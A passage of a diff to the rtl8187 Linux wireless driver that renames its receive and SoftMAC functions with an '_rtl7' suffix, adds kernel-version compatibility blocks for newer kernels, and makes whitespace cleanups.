u16 fc = le16_to_cpu(header->frame_ctl); @@ -413,7 +483,7 @@ last_seq = &ieee->last_seq_num; last_frag = &ieee->last_frag_num; last_time = &ieee->last_packet_time; - + break; default: return 0; @@ -436,7 +506,7 @@ drop: // BUG_ON(!(fc & IEEE80211_FCTL_RETRY)); // printk("DUP\n"); - + return 1; } @@ -444,7 +514,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -481,9 +551,9 @@ type = WLAN_FC_GET_TYPE(fc); stype = WLAN_FC_GET_STYPE(fc); sc = le16_to_cpu(hdr->seq_ctl); - + frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +571,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +599,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +625,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -573,9 +643,9 @@ goto rx_dropped; } #endif - - - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + + + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -583,7 +653,7 @@ /* Data frame - extract src/dst addresses */ - + switch (fc & (IEEE80211_FCTL_FROMDS | IEEE80211_FCTL_TODS)) { case IEEE80211_FCTL_FROMDS: memcpy(dst, hdr->addr1, ETH_ALEN); @@ -606,7 +676,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +689,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +700,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +734,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +744,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +764,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +792,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +833,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -861,7 +931,12 @@ if (skb2 != NULL) { /* send to wireless media */ skb2->protocol = __constant_htons(ETH_P_802_3); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,22)) skb2->mac.raw = skb2->nh.raw = skb2->data; +#else + skb_reset_mac_header(skb2); + skb_reset_network_header(skb2); +#endif /* skb2->nh.raw = skb2->data + ETH_HLEN; */ skb2->dev = dev; dev_queue_xmit(skb2); @@ -896,7 +971,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +988,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1039,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1066,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1089,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1043,47 +1118,47 @@ break; case MFIE_TYPE_TIM: - - if(info_element->len < 4) + + if(info_element->len < 4) break; - + network->dtim_period = info_element->data[1]; - + if(ieee->state != IEEE80211_LINKED) break; - - network->last_dtim_sta_time[0] = stats->mac_time[0]; + + network->last_dtim_sta_time[0] = stats->mac_time[0]; network->last_dtim_sta_time[1] = stats->mac_time[1]; - + network->dtim_data = IEEE80211_DTIM_VALID; - - if(info_element->data[0] != 0) + + if(info_element->data[0] != 0) break; - + if(info_element->data[2] & 1) network->dtim_data |= IEEE80211_DTIM_MBCAST; - + offset = (info_element->data[2] >> 1)*2; - - //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); - - if(ieee->assoc_id < offset || + + //printk("offset1:%x aid:%x\n",offset, ieee->assoc_id); + + if(ieee->assoc_id < offset || ieee->assoc_id > 8*(offset + info_element->len -3)) - + break; - - + + offset = offset + ieee->assoc_id / 8;// + ((aid % 8)? 0 : 1) ; - - // printk("offset:%x data:%x, ucast:%d\n", offset, + + // printk("offset:%x data:%x, ucast:%d\n", offset, // info_element->data[3+offset] , // info_element->data[3+offset] & (1<<(ieee->assoc_id%8))); - + if(info_element->data[3+offset] & (1<<(ieee->assoc_id%8))) network->dtim_data |= IEEE80211_DTIM_UCAST; - + break; - + case MFIE_TYPE_IBSS_SET: IEEE80211_DEBUG_SCAN("MFIE_TYPE_IBSS_SET: ignored\n"); break; @@ -1115,7 +1190,7 @@ memcpy(network->rsn_ie, info_element, network->rsn_ie_len); break; - + default: IEEE80211_DEBUG_SCAN("unsupported IE %d\n", info_element->id); @@ -1147,7 +1222,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,24 +1230,24 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID - * and the capability field (in particular IBSS and BSS) all match. + * and the capability field (in particular IBSS and BSS) all match. * We treat all with the same BSSID and channel * as one network */ return ((src->ssid_len == dst->ssid_len) && (src->channel == dst->channel) && !memcmp(src->bssid, dst->bssid, ETH_ALEN) && !memcmp(src->ssid, dst->ssid, src->ssid_len) && - ((src->capability & WLAN_CAPABILITY_IBSS) == + ((src->capability & WLAN_CAPABILITY_IBSS) == (dst->capability & WLAN_CAPABILITY_IBSS)) && - ((src->capability & WLAN_CAPABILITY_BSS) == + ((src->capability & WLAN_CAPABILITY_BSS) == (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1194,7 +1269,7 @@ dst->dtim_data = src->dtim_data; dst->last_dtim_sta_time[0] = src->last_dtim_sta_time[0]; dst->last_dtim_sta_time[1] = src->last_dtim_sta_time[1]; - + memcpy(dst->wpa_ie, src->wpa_ie, src->wpa_ie_len); dst->wpa_ie_len = src->wpa_ie_len; memcpy(dst->rsn_ie, src->rsn_ie, src->rsn_ie_len); @@ -1204,7 +1279,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1314,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1261,12 +1336,12 @@ * already there. */ spin_lock_irqsave(&ieee->lock, flags); - - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); - + + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); + list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1381,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1315,39 +1390,39 @@ WLAN_FC_GET_STYPE(beacon->header.frame_ctl) == IEEE80211_STYPE_PROBE_RESP ? "PROBE RESPONSE" : "BEACON"); - + /* we have an entry and we are going to update it. But this entry may - * be already expired. In this case we do the same as we found a new + * be already expired. In this case we do the same as we found a new * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_BEACON: IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; - + case IEEE80211_STYPE_PROBE_RESP: IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1430,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,14 +1,14 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Few lines might be stolen from other part of the ieee80211 * stack. Copyright who own it's copyright * * WPA code stolen from the ipw2200 driver. - * Copyright who own it's copyright. + * Copyright who own it's copyright. * * released under the GPL */ @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,28 +34,28 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; - + if (ieee->modulation & IEEE80211_CCK_MODULATION) rate_len = IEEE80211_CCK_RATE_LEN + 2; - + if (ieee->modulation & IEEE80211_OFDM_MODULATION) - + rate_len += IEEE80211_OFDM_RATE_LEN + 2; - + return rate_len; } -/* pleace the MFIE rate, tag to the memory (double) poined. +/* pleace the MFIE rate, tag to the memory (double) poined. * Then it updates the pointer so that * it points after the new MFIE tag added. - */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) + */ +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { - u8 *tag = *tag_p; - + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_CCK_MODULATION){ *tag++ = MFIE_TYPE_RATES; *tag++ = 4; @@ -64,17 +64,17 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) -{ - u8 *tag = *tag_p; - +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) +{ + u8 *tag = *tag_p; + if (ieee->modulation & IEEE80211_OFDM_MODULATION){ - + *tag++ = MFIE_TYPE_RATES_EX; *tag++ = 8; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; @@ -85,73 +85,73 @@ *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; *tag++ = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - + } - + /* We may add an option for custom rates that specific HW might support */ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; - + /* * if the queue is full but we have newer frames then * just overwrites the oldest. - * + * * if (nh == ieee->mgmt_queue_tail) * return -1; - */ + */ ieee->mgmt_queue_head = nh; ieee->mgmt_queue_ring[nh] = skb; - + //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; - + if(ieee->mgmt_queue_tail == ieee->mgmt_queue_head) return NULL; - + ret = ieee->mgmt_queue_ring[ieee->mgmt_queue_tail]; - - ieee->mgmt_queue_tail = + + ieee->mgmt_queue_tail = (ieee->mgmt_queue_tail+1) % MGMT_QUEUE_NUM; - + return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header= (struct ieee80211_hdr_3addr *) skb->data; - - + + spin_lock_irqsave(&ieee->lock, flags); - + /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); - + ieee80211_sta_wakeup_rtl7(ieee,0); + if(single){ - + if(ieee->queue_stop){ - - enqueue_mgmt(ieee,skb); - + + enqueue_mgmt_rtl7(ieee,skb); + }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -159,119 +159,119 @@ ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); } - + spin_unlock_irqrestore(&ieee->lock, flags); }else{ spin_unlock_irqrestore(&ieee->lock, flags); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags); - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + ieee->softmac_hard_start_xmit(skb,ieee->dev); - + spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags); } } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { - + short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - + + if(single){ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + /* avoid watchdog triggers */ ieee->dev->trans_start = jiffies; ieee->softmac_data_hard_start_xmit(skb,ieee->dev,ieee->basic_rate); - + }else{ - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; ieee->softmac_hard_start_xmit(skb,ieee->dev); - + } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; struct sk_buff *skb; struct ieee80211_probe_request *req; - + len = ieee->current_network.ssid_len; - - rate_len = ieee80211_MFIE_rate_len(ieee); - + + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); - - if (!skb) + + if (!skb) return NULL; - + req = (struct ieee80211_probe_request *) skb_put(skb,sizeof(struct ieee80211_probe_request)); req->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_REQ); - req->header.duration_id = 0; //FIXME: is this OK ? - + req->header.duration_id = 0; //FIXME: is this OK ? + memset(req->header.addr1, 0xff, ETH_ALEN); memcpy(req->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memset(req->header.addr3, 0xff, ETH_ALEN); - + tag = (u8 *) skb_put(skb,len+2+rate_len); - + *tag++ = MFIE_TYPE_SSID; *tag++ = len; memcpy(tag, ieee->current_network.ssid, len); tag += len; - - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - unsigned long flags; - - skb = ieee80211_get_beacon_(ieee); + + unsigned long flags; + + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } - ieee->beacon_timer.expires = jiffies + + ieee->beacon_timer.expires = jiffies + (MSECS( ieee->current_network.beacon_interval -5)); - + spin_lock_irqsave(&ieee->beacon_lock,flags); if(ieee->beacon_txing) add_timer(&ieee->beacon_timer); @@ -279,57 +279,57 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - - skb = ieee80211_probe_req(ieee); + + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels - * in the allowed channel map has been checked. + * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; - + down(&ieee->scan_sem); - + while(1) { - + do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) goto out; /* scan completed */ - + }while(!ieee->channel_map[ch]); - + /* this fuction can be called in two situations * 1- We have switched to ad-hoc mode and we are * performing a complete syncro scan before conclude - * there are no interesting cell and to create a - * new one. In this case the link state is + * there are no interesting cell and to create a + * new one. In this case the link state is * IEEE80211_NOLINK until we found an interesting cell. * If so the ieee8021_new_net, called by the RX path * will set the state to IEEE80211_LINKED, so we stop @@ -342,24 +342,24 @@ * not filter RX frames and the channel is changing. * So the only situation in witch are interested is to check * if the state become LINKED because of the #1 situation - */ - + */ + if (ieee->state == IEEE80211_LINKED) goto out; - + ieee->set_chan(ieee->dev, ch); - - ieee80211_send_probe_requests(ieee); - + + ieee80211_send_probe_requests_rtl7(ieee); + /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. - */ + */ if (ieee->sync_scan_hurryup) goto out; msleep_interruptible_rtl(IEEE80211_SOFTMAC_SCAN_TIME); - + } out: ieee->sync_scan_hurryup = 0; @@ -370,43 +370,49 @@ void ieee80211_softmac_scan(struct ieee80211_device *ieee) { short watchdog = 0; - + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) return; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + schedule_work(&ieee->softmac_scan_wq); } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; - + down(&ieee->scan_sem); + do{ - ieee->current_network.channel = + ieee->current_network.channel = (ieee->current_network.channel + 1) % MAX_CHANNEL_NUMBER; - if (watchdog++ > MAX_CHANNEL_NUMBER) + if (watchdog++ > MAX_CHANNEL_NUMBER) goto out; /* no good chans */ - + }while(!ieee->channel_map[ieee->current_network.channel]); - + if (ieee->scanning == 0 ) goto out; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); -#if 0 +#if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); - if (ieee->scanning == 1) + if (ieee->scanning == 1) add_timer(&ieee->scan_timer); #endif queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, IEEE80211_SOFTMAC_SCAN_TIME); @@ -419,7 +425,7 @@ { unsigned long flags; struct ieee80211_device *ieee = (struct ieee80211_device *)_dev; - + spin_lock_irqsave(&ieee->lock, flags); ieee80211_softmac_scan(ieee); spin_unlock_irqrestore(&ieee->lock, flags); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { - unsigned long flags; + unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); - + ieee80211_send_beacon_rtl7(ieee); + spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,111 +459,111 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { -// unsigned long flags; - +// unsigned long flags; + //ieee->sync_scan_hurryup = 1; - + down(&ieee->scan_sem); // spin_lock_irqsave(&ieee->lock, flags); - + if (ieee->scanning == 1){ ieee->scanning = 0; //del_timer_sync(&ieee->scan_timer); 